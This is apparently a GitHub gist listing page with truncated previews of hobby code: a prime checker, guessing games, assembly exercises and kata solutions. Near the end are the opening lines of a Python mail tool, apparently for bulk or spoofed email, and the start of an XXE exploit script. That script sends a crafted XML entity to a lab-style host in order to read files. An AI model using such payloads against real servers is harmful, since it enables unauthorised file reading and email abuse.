This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#imports square root function and sets start var: | |
from math import sqrt | |
use = True | |
counter = 0 | |
#Takes in user's numbers, and "sorts them out": | |
print("======================") | |
print("Pryme Number Checker") | |
print("github.com/georgeomnet") | |
print("======================\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use = True | |
import os | |
import time | |
from sys import platform | |
def bannerwin(): | |
print(" ") | |
print(".oPYo. o o ") | |
print("8 8 8 8 ") | |
print("8 .oPYo. odYo. o o 8 odYo. o8P ") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
INP | |
STA 1 | |
INP | |
ADD 1 | |
STA 2 | |
INP | |
ADD 2 | |
STA 3 | |
INP | |
ADD 3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
INP | |
STA 1 | |
INP | |
STA 2 | |
LDA 1 | |
SUB 2 | |
OUT | |
HLT |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Random; | |
import java.util.Scanner; | |
public class NumberGuessingGame { | |
public static void main(String[] args) { | |
Random rand = new Random(); | |
int value = rand.nextInt(101); | |
int userguess = 0; | |
int tries = 0; | |
System.out.println("I'm thinking of a number..."); | |
while (userguess!=value) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Arrays; | |
public class Kata { | |
public static String rps(String p1, String p2) { | |
String OneWin = "Player 1 won!"; | |
String TwoWin = "Player 2 won!"; | |
String Draw = "Draw!"; | |
if (p1.equals("rock")) { | |
switch(p2) { | |
case "scissors": return OneWin; | |
case "paper": return TwoWin; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var response = parseInt(prompt("Enter your number here.")); | |
let attempts = 0; | |
random = (Math.floor(Math.random()*10)); | |
while (response !== random) { | |
attempts++; | |
if (response > random) { | |
console.log(`Too high!`); | |
response = parseInt(prompt("Too high!")); | |
} else if (response < random) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function persistence(num) { | |
let stringnum = num.toString() | |
let count = 0; | |
while ((stringnum).length > 1) { | |
count++; | |
let nums = stringnum.split(""); | |
let m = 1; | |
for (let i = 0; i < nums.length; i++) { | |
m = m*nums[i]; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import smtplib, string | |
import os, time | |
def terms(): | |
agree = raw_input("Please agree to never use this tool for malicious intent (y/n). ") | |
agree = agree.lower() | |
if agree == "y": | |
os.system("apt-get install sendmail") | |
time.sleep(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests as rq | |
import sys | |
filename = sys.argv[1] | |
url = "http://10.10.10.78/hosts.php" | |
data = """<?xml version="1.0" encoding="ISO-8859-1"?> | |
<!DOCTYPE foo [ | |
<!ELEMENT foo ANY > |
OlderNewer